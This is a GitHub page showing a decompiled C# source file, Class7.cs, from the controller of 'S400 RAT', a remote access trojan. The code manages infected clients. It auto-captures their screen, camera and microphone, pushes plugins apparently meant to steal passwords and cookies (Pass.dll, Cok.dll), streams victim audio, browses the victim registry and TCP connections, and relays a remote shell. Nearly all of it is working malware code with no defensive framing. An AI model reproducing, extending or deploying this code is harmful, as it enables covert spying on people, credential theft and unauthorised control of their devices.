-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathClass7.cs
More file actions
5147 lines (5068 loc) · 149 KB
/
Class7.cs
File metadata and controls
5147 lines (5068 loc) · 149 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
using System;
using System.Collections;
using System.Collections.Generic;
using System.Drawing;
using System.Drawing.Imaging;
using System.IO;
using System.IO.Compression;
using System.Net;
using System.Net.NetworkInformation;
using System.Net.Sockets;
using System.Runtime.CompilerServices;
using System.Text;
using System.Threading;
using System.Windows.Forms;
using Microsoft.VisualBasic;
using Microsoft.VisualBasic.CompilerServices;
using S400RAT;
using S400RAT.My.Resources;
using Tulpep.NotificationWindow;
using WinMM;
using ZXing;
[StandardModule]
internal sealed class Class7
{
public sealed class Class8
{
public bool bool_0;
public bool bool_1;
public bool bool_2;
public bool dbhqxeFdq4;
public bool bool_3;
public bool bool_4;
public bool bool_5;
public string string_0;
public bool bool_6;
public int int_0;
public bool bool_7;
public int int_1;
public int int_2;
public void method_0()
{
bool_0 = Conversions.ToBoolean(Class6.smethod_11("ShowAlert", "TRUE"));
bool_1 = Conversions.ToBoolean(Class6.smethod_11("LOGLOGIN", "TRUE"));
bool_2 = Conversions.ToBoolean(Class6.smethod_11("LOGCONNECTIONS", "FALSE"));
dbhqxeFdq4 = Conversions.ToBoolean(Class6.smethod_11("LOGLERR", "TRUE"));
bool_3 = Conversions.ToBoolean(Class6.smethod_11("LOGRERR", "TRUE"));
bool_4 = Conversions.ToBoolean(Class6.smethod_11("LOGMSGS", "TRUE"));
bool_5 = Conversions.ToBoolean(Class6.smethod_11("SCAUT", "TRUE"));
string_0 = Class6.smethod_11("SCI", "5");
bool_6 = Conversions.ToBoolean(Class6.smethod_11("CAMAUT", "TRUE"));
int_0 = Conversions.ToInteger(Class6.smethod_11("CAMI", "5"));
bool_7 = Conversions.ToBoolean(Class6.smethod_11("MICAUT", "TRUE"));
int_1 = Conversions.ToInteger(Class6.smethod_11("MICI", "1"));
int_2 = Conversions.ToInteger(Class6.smethod_11("scri", "1"));
}
public void method_1()
{
Class6.jQbZimjGko("ShowAlert", bool_0.ToString());
Class6.jQbZimjGko("LOGLOGIN", bool_1.ToString());
Class6.jQbZimjGko("LOGCONNECTIONS", bool_2.ToString());
Class6.jQbZimjGko("LOGLERR", dbhqxeFdq4.ToString());
Class6.jQbZimjGko("LOGRERR", bool_3.ToString());
Class6.jQbZimjGko("LOGMSGS", bool_4.ToString());
Class6.jQbZimjGko("SCAUT", bool_5.ToString());
Class6.jQbZimjGko("SCI", string_0.ToString());
Class6.jQbZimjGko("CAMAUT", bool_6.ToString());
Class6.jQbZimjGko("CAMI", int_0.ToString());
Class6.jQbZimjGko("MICAUT", bool_7.ToString());
Class6.jQbZimjGko("MICI", int_1.ToString());
Class6.jQbZimjGko("scri", int_2.ToString());
}
}
public sealed class Class9
{
public byte[] byte_0;
public string string_0;
public string string_1;
public Class9(string string_2)
{
byte[] array = File.ReadAllBytes(Application.StartupPath + "\\FC\\" + string_2);
bool bool_ = true;
byte_0 = Class6.smethod_16(array, ref bool_);
string_0 = string_2;
string_1 = Class6.smethod_13(byte_0);
}
}
public delegate void Delegate0(object object_0);
public static Class8 class8_0;
public static WebClient webClient_0;
public static string string_0;
public static SK sk_0;
public static long long_0;
public static long long_1;
public static string string_1;
public static object object_0;
public static BarcodeReader barcodeReader_0;
public static object ocVikpVjCJ;
public static object object_1;
public static object object_2;
public static string string_2;
public static int int_0;
public static int int_1;
public static int int_2;
public static int int_3;
public static int int_4;
public static int int_5;
public static int int_6;
public static int int_7;
public static int int_8;
public static int int_9;
public static int dtTiiFuSjc;
public static int int_10;
public static int int_11;
public static int int_12;
public static int int_13;
public static List<string> list_0;
public static List<Class9> list_1;
public static List<Client> list_2;
public static GClass3 gclass3_0;
public static WaveOut waveOut_0;
public static WaveOut waveOut_1;
public static bool bool_0;
public static bool bool_1;
public static bool bool_2;
public static Bitmap bitmap_0;
public static string string_3;
public static string string_4;
public static string string_5;
public static int int_14;
public static object object_3;
public static object object_4;
public static readonly List<string> list_3;
public static readonly List<string> list_4;
static Class7()
{
webClient_0 = new WebClient();
barcodeReader_0 = new BarcodeReader();
string_5 = "cc";
int_14 = 0;
list_3 = new List<string>();
list_4 = new List<string>();
class8_0 = new Class8();
string_0 = "s400 RAT";
long_0 = 0L;
long_1 = 0L;
string_1 = "|S400|";
int_0 = 1;
int_1 = 2;
int_2 = 3;
int_3 = 4;
int_4 = 5;
int_5 = 6;
int_6 = 7;
int_7 = 8;
int_8 = 9;
int_9 = 10;
dtTiiFuSjc = 11;
int_10 = 12;
int_11 = 13;
int_12 = 14;
list_0 = new List<string>();
list_1 = new List<Class9>();
list_2 = new List<Client>();
gclass3_0 = new GClass3(Application.StartupPath + "\\GeoIP.dat", 1);
bool_0 = true;
}
public static object smethod_0(string string_6)
{
return Encoding.UTF8.GetString(Convert.FromBase64String(string_6));
}
public static object smethod_1(byte[] byte_0)
{
using GZipStream gZipStream = new GZipStream(new MemoryStream(byte_0), CompressionMode.Decompress);
byte[] array = new byte[4096];
using MemoryStream memoryStream = new MemoryStream();
int num;
do
{
num = gZipStream.Read(array, 0, 4096);
if (num > 0)
{
memoryStream.Write(array, 0, num);
}
}
while (num > 0);
return memoryStream.ToArray();
}
public static Image smethod_2(string string_6)
{
byte[] array = (byte[])smethod_1(Convert.FromBase64String(string_6));
MemoryStream memoryStream = new MemoryStream(array, 0, array.Length);
memoryStream.Write(array, 0, array.Length);
return Image.FromStream(memoryStream, useEmbeddedColorManagement: true);
}
public static string smethod_3(object object_5)
{
int try0000_dispatch = -1;
int num2 = default(int);
string result = default(string);
int num = default(int);
while (true)
{
try
{
/*Note: ILSpy has introduced the following switch to emulate a goto from catch-block to try-block*/;
switch (try0000_dispatch)
{
default:
ProjectData.ClearProjectError();
num2 = 2;
if (!Operators.ConditionalCompareObjectGreaterEqual(object_5, 1073741824, TextCompare: false))
{
if (!Operators.ConditionalCompareObjectGreaterEqual(object_5, 1048576, TextCompare: false))
{
if (!Operators.ConditionalCompareObjectGreaterEqual(object_5, 1024, TextCompare: false))
{
if (Operators.ConditionalCompareObjectLess(object_5, 1024, TextCompare: false))
{
result = Conversions.ToString(Conversion.Fix(RuntimeHelpers.GetObjectValue(object_5)));
}
}
else
{
result = Strings.Format(Operators.DivideObject(object_5, 1024), "#0.00");
}
}
else
{
result = Strings.Format(Operators.DivideObject(Operators.DivideObject(object_5, 1024), 1024), "#0.00");
}
}
else
{
result = Strings.Format(Operators.DivideObject(Operators.DivideObject(Operators.DivideObject(object_5, 1024), 1024), 1024), "#0.00");
}
goto end_IL_0000;
case 248:
num = -1;
switch (num2)
{
case 2:
result = "0,00";
goto end_IL_0000;
}
break;
}
goto IL_013d;
end_IL_0000:;
}
catch (object obj) when (obj is Exception && num2 != 0 && num == 0)
{
ProjectData.SetProjectError((Exception)obj);
try0000_dispatch = 248;
continue;
}
break;
IL_013d:
throw ProjectData.CreateProjectError(-2146828237);
}
if (num != 0)
{
ProjectData.ClearProjectError();
}
return result;
}
public static string smethod_4(object object_5)
{
int try0000_dispatch = -1;
int num2 = default(int);
string result = default(string);
int num = default(int);
while (true)
{
try
{
/*Note: ILSpy has introduced the following switch to emulate a goto from catch-block to try-block*/;
switch (try0000_dispatch)
{
default:
ProjectData.ClearProjectError();
num2 = 2;
if (!Operators.ConditionalCompareObjectGreaterEqual(object_5, 1073741824, TextCompare: false))
{
if (Operators.ConditionalCompareObjectGreaterEqual(object_5, 1048576, TextCompare: false))
{
result = Strings.Format(Operators.DivideObject(Operators.DivideObject(object_5, 1024), 1024), "#0.00") + " MB";
}
else if (Operators.ConditionalCompareObjectGreaterEqual(object_5, 1024, TextCompare: false))
{
result = Strings.Format(Operators.DivideObject(object_5, 1024), "#0.00") + " KB";
}
else if (Operators.ConditionalCompareObjectLess(object_5, 1024, TextCompare: false))
{
result = Conversions.ToString(Operators.ConcatenateObject(Conversion.Fix(RuntimeHelpers.GetObjectValue(object_5)), " KB"));
}
}
else
{
result = Strings.Format(Operators.DivideObject(Operators.DivideObject(Operators.DivideObject(object_5, 1024), 1024), 1024), "#0.00") + " GB";
}
goto end_IL_0000;
case 285:
num = -1;
switch (num2)
{
case 2:
result = "0,00 KB";
goto end_IL_0000;
}
break;
}
goto IL_0162;
end_IL_0000:;
}
catch (object obj) when (obj is Exception && num2 != 0 && num == 0)
{
ProjectData.SetProjectError((Exception)obj);
try0000_dispatch = 285;
continue;
}
break;
IL_0162:
throw ProjectData.CreateProjectError(-2146828237);
}
if (num != 0)
{
ProjectData.ClearProjectError();
}
return result;
}
public static Class9 smethod_5(string string_6, string string_7)
{
if (string_6 != null)
{
List<Class9>.Enumerator enumerator = default(List<Class9>.Enumerator);
try
{
enumerator = list_1.GetEnumerator();
while (enumerator.MoveNext())
{
Class9 current = enumerator.Current;
if (Operators.CompareString(current.string_0, string_6.ToLower(), TextCompare: false) == 0)
{
return current;
}
}
}
finally
{
enumerator.Dispose();
}
}
if (string_7 != null)
{
List<Class9>.Enumerator enumerator2 = default(List<Class9>.Enumerator);
try
{
enumerator2 = list_1.GetEnumerator();
while (enumerator2.MoveNext())
{
Class9 current2 = enumerator2.Current;
if (Operators.CompareString(current2.string_1, string_7, TextCompare: false) == 0)
{
return current2;
}
}
}
finally
{
enumerator2.Dispose();
}
}
return null;
}
public static object gsciXiVbtJ(object object_5)
{
object result;
try
{
result = RuntimeHelpers.GetObjectValue((object_5 == null) ? "?" : ((((DataGridViewBand)object_5).Tag == null) ? "?" : Operators.ConcatenateObject(RuntimeHelpers.GetObjectValue(Operators.ConcatenateObject(RuntimeHelpers.GetObjectValue(Operators.ConcatenateObject(RuntimeHelpers.GetObjectValue(Operators.ConcatenateObject(RuntimeHelpers.GetObjectValue(Operators.ConcatenateObject(RuntimeHelpers.GetObjectValue(Operators.ConcatenateObject(RuntimeHelpers.GetObjectValue(Operators.ConcatenateObject(RuntimeHelpers.GetObjectValue(Operators.ConcatenateObject("|'|", RuntimeHelpers.GetObjectValue(((DataGridViewRow)object_5).Cells[int_0].Value))), "|'|")), RuntimeHelpers.GetObjectValue(((DataGridViewRow)object_5).Cells[int_3].Value))), "|'|")), RuntimeHelpers.GetObjectValue(((DataGridViewRow)object_5).Cells[int_9].Value))), "|'|")), RuntimeHelpers.GetObjectValue(((DataGridViewRow)object_5).Cells[int_7].Value))), "")));
}
catch (Exception ex)
{
ProjectData.SetProjectError(ex);
Exception projectError = ex;
ProjectData.SetProjectError(projectError);
result = "?";
ProjectData.ClearProjectError();
ProjectData.ClearProjectError();
}
return result;
}
public static bool smethod_6(object object_5, object object_6, bool bool_3)
{
try
{
string text = ((!bool_3) ? ("inv" + string_1 + ((Class9)object_6).string_1 + string_1 + ((Client)object_5).ip() + string_1) : ("ret" + string_1 + ((Class9)object_6).string_1 + string_1));
MemoryStream memoryStream = new MemoryStream();
memoryStream.Write(Class6.smethod_3(ref text), 0, text.Length);
if (!((Client)object_5).plg.Contains(((Class9)object_6).string_1))
{
memoryStream.Write(((Class9)object_6).byte_0, 0, ((Class9)object_6).byte_0.Length);
}
else
{
memoryStream.WriteByte(40);
}
((Client)object_5).Send(memoryStream.ToArray());
return true;
}
catch (Exception ex)
{
ProjectData.SetProjectError(ex);
Exception projectError = ex;
ProjectData.SetProjectError(projectError);
ProjectData.ClearProjectError();
ProjectData.ClearProjectError();
}
return false;
}
public static Form smethod_7(string string_6)
{
return Class2.FEo51Ss0j.OpenForms[string_6];
}
public static void smethod_8(object object_5)
{
IEnumerator enumerator = ((Form1)object_1).L1.SelectedRows.GetEnumerator();
enumerator.Reset();
byte[] b;
if (NewLateBinding.LateIndexGet(RuntimeHelpers.GetObjectValue(object_5), new object[1] { 0 }, null) is string)
{
string text = Conversions.ToString(RuntimeHelpers.GetObjectValue(NewLateBinding.LateIndexGet(RuntimeHelpers.GetObjectValue(object_5), new object[1] { 0 }, null)));
byte[] array = Class6.smethod_3(ref text);
NewLateBinding.LateIndexSetComplex(RuntimeHelpers.GetObjectValue(object_5), new object[2] { 0, text }, null, OptimisticSet: true, RValueBase: false);
b = array;
}
else
{
b = (byte[])NewLateBinding.LateIndexGet(RuntimeHelpers.GetObjectValue(object_5), new object[1] { 0 }, null);
}
Color color = default(Color);
while (enumerator.MoveNext())
{
DataGridViewRow dataGridViewRow = (DataGridViewRow)enumerator.Current;
((Client)dataGridViewRow.Tag).Send(b);
DataGridViewCellStyle defaultCellStyle = dataGridViewRow.DefaultCellStyle;
object objectValue = RuntimeHelpers.GetObjectValue(NewLateBinding.LateIndexGet(RuntimeHelpers.GetObjectValue(object_5), new object[1] { 1 }, null));
Color obj;
if (objectValue != null)
{
obj = ((objectValue == null) ? default(Color) : ((Color)objectValue));
}
else
{
obj = color;
}
Color foreColor = obj;
defaultCellStyle.ForeColor = foreColor;
}
}
public static void smethod_9(object object_5)
{
Client client = (Client)NewLateBinding.LateIndexGet(RuntimeHelpers.GetObjectValue(object_5), new object[1] { 0 }, null);
byte[] byte_ = (byte[])NewLateBinding.LateIndexGet(RuntimeHelpers.GetObjectValue(object_5), new object[1] { 1 }, null);
string[] array = Strings.Split(Class6.smethod_4(ref byte_), string_1);
try
{
string text = array[0];
if (Operators.CompareString(text, "FCC", TextCompare: false) == 0)
{
Application.DoEvents();
if (!((Control)object_1).InvokeRequired)
{
if ((notf)smethod_7("YyUNAS" + client.ip()) == null)
{
try
{
Class9 object_6 = smethod_5("Pass.dll", null);
smethod_6(client, object_6, bool_3: false);
Class9 object_7 = smethod_5("IFF.dll", null);
smethod_6(client, object_7, bool_3: false);
Class9 object_8 = smethod_5("Cok.dll", null);
smethod_6(client, object_8, bool_3: false);
}
catch (Exception projectError)
{
ProjectData.SetProjectError(projectError);
ProjectData.ClearProjectError();
}
}
}
else
{
((Control)object_1).Invoke((Delegate)new Delegate0(smethod_9), new object[1] { RuntimeHelpers.GetObjectValue(object_5) });
}
}
switch (text)
{
case "Ex":
{
Manager manager6 = (Manager)smethod_7("m" + client.ip());
if (manager6 != null)
{
}
return;
}
case "un":
{
Manager manager11 = (Manager)smethod_7("m" + client.ip());
if (manager11 == null)
{
return;
}
if (manager11 != null)
{
try
{
manager11.Instal.Items.Clear();
string[] array67 = Strings.Split(array[1], "\r\n");
string[] array68 = array67;
foreach (string text33 in array68)
{
if (Operators.CompareString(text33, "N/A%|%", TextCompare: false) != 0)
{
string[] array69 = Strings.Split(text33, "%|%");
ListViewItem listViewItem27 = new ListViewItem();
listViewItem27.Text = array69[0];
listViewItem27.ImageIndex = 0;
manager11.Instal.Items.Add(listViewItem27);
}
}
}
catch (Exception projectError87)
{
ProjectData.SetProjectError(projectError87);
ProjectData.ClearProjectError();
}
}
manager11.SL.Text = array[1];
if (array[1].StartsWith("rs:!-->"))
{
manager11.shStarted = 0;
}
return;
}
case "tcp":
{
Manager manager4 = (Manager)smethod_7("m" + client.ip());
if (manager4 == null)
{
return;
}
lock (manager4.Prog)
{
string left5 = array[1];
if (Operators.CompareString(left5, "~", TextCompare: false) == 0)
{
string[] array24 = Strings.Split(array[2], "*");
manager4.Prog.Value = 0;
manager4.Prog.Maximum = array24.Length;
List<ListViewItem> list4 = new List<ListViewItem>();
int num11 = array24.Length - 1;
for (int m = 0; m <= num11; m++)
{
string[] array25 = Strings.Split(array24[m], ",");
if (manager4.LTCP.Items.ContainsKey(array25[0] + array25[1]))
{
ListViewItem listViewItem8 = manager4.LTCP.Items[array25[0] + array25[1]];
listViewItem8.SubItems[4].Text = ((TcpState)Conversions.ToInteger(array25[2])).ToString();
Color foreColor = listViewItem8.ForeColor;
switch (Conversions.ToInteger(array25[2]))
{
case 4:
listViewItem8.ForeColor = Color.YellowGreen;
listViewItem8.ImageIndex = 7;
break;
case 5:
listViewItem8.ForeColor = Color.LimeGreen;
listViewItem8.ImageIndex = 6;
break;
case 1:
case 8:
case 9:
case 11:
case 12:
listViewItem8.ImageIndex = 5;
listViewItem8.ForeColor = Color.Red;
break;
}
continue;
}
ListViewItem listViewItem9 = new ListViewItem(array25[0].Split(':')[0]);
listViewItem9.Name = array25[0] + array25[1];
listViewItem9.Tag = array25[0] + array25[1];
listViewItem9.SubItems.Add(array25[0].Split(':')[1]);
listViewItem9.SubItems.Add(array25[1].Split(':')[0]);
listViewItem9.SubItems.Add(array25[1].Split(':')[1]);
listViewItem9.SubItems.Add(((TcpState)Conversions.ToInteger(array25[2])).ToString());
listViewItem9.SubItems.Add(array25[3]);
switch (Conversions.ToInteger(array25[2]))
{
case 3:
case 4:
listViewItem9.ForeColor = Color.YellowGreen;
listViewItem9.ImageIndex = 7;
break;
case 5:
listViewItem9.ForeColor = Color.LimeGreen;
listViewItem9.ImageIndex = 6;
break;
case 1:
case 8:
case 9:
case 11:
case 12:
listViewItem9.ForeColor = Color.Red;
listViewItem9.ImageIndex = 5;
break;
}
listViewItem9.ImageIndex = 3;
list4.Add(listViewItem9);
if (list4.Count > 20)
{
manager4.LTCP.Items.AddRange(list4.ToArray());
list4.Clear();
ColumnHeader columnHeader_ = manager4.LTCP.columnHeader_0;
if (columnHeader_ == null)
{
manager4.LTCP.GClass9_ColumnClick(manager4.LTCP, new ColumnClickEventArgs(0));
continue;
}
columnHeader_.Tag = RuntimeHelpers.GetObjectValue(Operators.ConditionalCompareObjectEqual(RuntimeHelpers.GetObjectValue(columnHeader_.Tag), "+", TextCompare: false) ? "-" : (Operators.ConditionalCompareObjectEqual(RuntimeHelpers.GetObjectValue(columnHeader_.Tag), "-", TextCompare: false) ? "+" : "-"));
manager4.LTCP.GClass9_ColumnClick(manager4.LTCP, new ColumnClickEventArgs(columnHeader_.Index));
}
}
if (manager4.TCPFX)
{
manager4.LTCP.method_3();
manager4.TCPFX = false;
}
if (list4.Count > 0)
{
manager4.LTCP.Items.AddRange(list4.ToArray());
list4.Clear();
ColumnHeader columnHeader_2 = manager4.LTCP.columnHeader_0;
if (columnHeader_2 == null)
{
manager4.LTCP.GClass9_ColumnClick(manager4.LTCP, new ColumnClickEventArgs(0));
}
else
{
columnHeader_2.Tag = RuntimeHelpers.GetObjectValue(Operators.ConditionalCompareObjectEqual(RuntimeHelpers.GetObjectValue(columnHeader_2.Tag), "+", TextCompare: false) ? "-" : (Operators.ConditionalCompareObjectEqual(RuntimeHelpers.GetObjectValue(columnHeader_2.Tag), "-", TextCompare: false) ? "+" : "-"));
manager4.LTCP.GClass9_ColumnClick(manager4.LTCP, new ColumnClickEventArgs(columnHeader_2.Index));
}
}
manager4.TCPNXT = true;
}
else if (Operators.CompareString(left5, "RM", TextCompare: false) != 0)
{
if (Operators.CompareString(left5, "ER", TextCompare: false) == 0)
{
manager4.SL.Text = array[2];
}
}
else
{
int num12 = array.Length - 1;
for (int n = 2; n <= num12; n++)
{
manager4.LTCP.Items.RemoveByKey(array[n]);
}
}
return;
}
}
case "MIC":
if (client.osk == null)
{
client.isPL = true;
try
{
client.osk = sk_0.GetClient(array[1]);
}
catch (Exception ex60)
{
ProjectData.SetProjectError(ex60);
Exception projectError85 = ex60;
ProjectData.SetProjectError(projectError85);
client.CN = false;
ProjectData.ClearProjectError();
ProjectData.ClearProjectError();
}
}
if (!((Control)object_1).InvokeRequired)
{
Mic mic = (Mic)smethod_7("mic" + client.ip());
string left15 = array[2];
if (Operators.CompareString(left15, "~", TextCompare: false) == 0)
{
if (mic == null)
{
Mic mic2 = new Mic();
mic2.Name = "mic" + client.ip();
mic2.sk = client;
mic2.osk = client.osk;
int num27 = array.Length - 1;
for (int num28 = 3; num28 <= num27; num28++)
{
mic2.ComboBox1.Items.Add(array[num28]);
}
mic2.Show();
}
}
else if (Operators.CompareString(left15, "!", TextCompare: false) == 0)
{
if (mic != null)
{
byte[] array63 = (byte[])NewLateBinding.LateIndexGet(Class6.smethod_17(byte_, array[3] + string_1), new object[1] { 1 }, null);
if (array63[0] == 31)
{
byte[] byte_2 = array63;
bool flag = false;
array63 = Class6.smethod_16(byte_2, ref flag);
}
mic.Text = Class6.smethod_10(array63.Length) + " " + mic.QQ;
if (Conversions.ToInteger(array[3]) != 0)
{
waveOut_1.Write(array63);
}
else
{
waveOut_0.Write(array63);
}
}
else
{
client.CN = false;
}
}
else if (Operators.CompareString(left15, "ER", TextCompare: false) == 0)
{
if (mic == null)
{
client.CN = false;
return;
}
mic.ComboBox1.Enabled = true;
mic.ComboBox2.Enabled = true;
mic.Button1.Text = "Start";
}
}
else
{
((Control)object_1).Invoke((Delegate)new Delegate0(smethod_9), new object[1] { RuntimeHelpers.GetObjectValue(object_5) });
}
return;
case "post+":
{
client.isPL = true;
DW dW2 = new DW();
dW2.FN = array[1];
dW2.SZ = Conversions.ToInteger(array[2]);
dW2.c = client;
dW2.osk = client.osk;
dW2.Name = dW2.osk.ip() + array[1];
dW2.Show();
return;
}
case "RG":
if (!((Control)object_1).InvokeRequired)
{
Manager manager12 = (Manager)smethod_7("m" + client.ip());
lock (manager12.Prog)
{
string left17 = array[1];
if (Operators.CompareString(left17, "ER", TextCompare: false) != 0)
{
if (Operators.CompareString(left17, "~", TextCompare: false) != 0)
{
return;
}
manager12.RGk.Enabled = true;
manager12.RGLIST.Enabled = true;
TreeNodeCollection node2 = manager12.RGk.Nodes;
TreeNode treeNode = Class6.smethod_15(array[2], manager12.RGk.Nodes);
List<string> list9 = new List<string>();
if (manager12.RGk.SelectedNode == treeNode)
{
manager12.RGLIST.Items.Clear();
}
Manager.GClass13 gClass3;
if (!manager12.RGCH.Contains(array[2]))
{
gClass3 = new Manager.GClass13();
gClass3.string_0 = array[2];
manager12.RGCH.Add(gClass3, array[2]);
}
else
{
gClass3 = (Manager.GClass13)manager12.RGCH[array[2]];
gClass3.list_0.Clear();
gClass3.list_1.Clear();
}
string[] array72 = Strings.Split(array[3], "[,]");
manager12.Prog.Value = 0;
manager12.Prog.Maximum = array72.Length;
string[] array73 = array72;
foreach (string text34 in array73)
{
if (Operators.CompareString(text34, string.Empty, TextCompare: false) == 0)
{
continue;
}
string[] array74 = Strings.Split(text34, "[;]");
try
{
manager12.Prog.Value++;
if (array74.Length <= 1)
{
gClass3.list_1.Add(array74[0]);
treeNode.Nodes.Add(array74[0], array74[0]);
if (!treeNode.Nodes.ContainsKey(array74[0]))
{
list9.Add(array74[0]);
}
continue;
}
if (manager12.RGk.SelectedNode == treeNode)
{
ListViewItem listViewItem28 = manager12.RGLIST.Items.Add(array74[0]);
listViewItem28.SubItems.Add(array74[1]);
listViewItem28.SubItems.Add(array74[2]);
listViewItem28.ImageIndex = ((Operators.CompareString(array74[1], "String", TextCompare: false) == 0) ? 1 : 2);
}
gClass3.list_0.Add(array74);
}
catch (Exception ex68)
{
ProjectData.SetProjectError(ex68);
Exception projectError95 = ex68;
ProjectData.SetProjectError(projectError95);
ProjectData.ClearProjectError();
ProjectData.ClearProjectError();
}
}
try
{
foreach (TreeNode node in treeNode.Nodes)
{
if (list9.Contains(node.Text))
{
list9.Remove(node.Text);
}
}
}
finally
{
IEnumerator enumerator13 = default(IEnumerator);
if (enumerator13 is IDisposable)
{
(enumerator13 as IDisposable).Dispose();
}
}
List<string>.Enumerator enumerator14 = default(List<string>.Enumerator);
try
{
enumerator14 = list9.GetEnumerator();
while (enumerator14.MoveNext())
{
string current2 = enumerator14.Current;
treeNode.Nodes.RemoveByKey(current2);
}
}
finally
{
enumerator14.Dispose();
}
if (treeNode == manager12.RGk.SelectedNode)
{
treeNode.Expand();
}
manager12.RGLIST.method_3();
manager12.Prog.Value = 0;
}
else
{
manager12.RGk.Enabled = true;
manager12.RGLIST.Enabled = true;
manager12.SL.Text = Class6.smethod_9(array[2]);
}
return;
}
}
((Control)object_1).Invoke((Delegate)new Delegate0(smethod_9), new object[1] { RuntimeHelpers.GetObjectValue(object_5) });
return;
case "rs":
{
Manager manager9 = (Manager)smethod_7("m" + client.ip());
if (manager9 == null)
{
return;
}
lock (manager9.T1)
{
manager9.T1.SelectionStart = manager9.T1.TextLength;
manager9.T1.AppendText(Class6.smethod_9(array[1].Replace("\r\n", string.Empty)) + "\r\n");
manager9.T1.SelectionStart = manager9.T1.TextLength;
manager9.T1.ScrollToCaret();
return;
}
}
case "rsc":
{
Manager manager8 = (Manager)smethod_7("m" + client.ip());
if (manager8 != null)
{
manager8.T2.ReadOnly = true;
manager8.T2.BackColor = Color.Gray;
manager8.shStarted = 0;
}
return;
}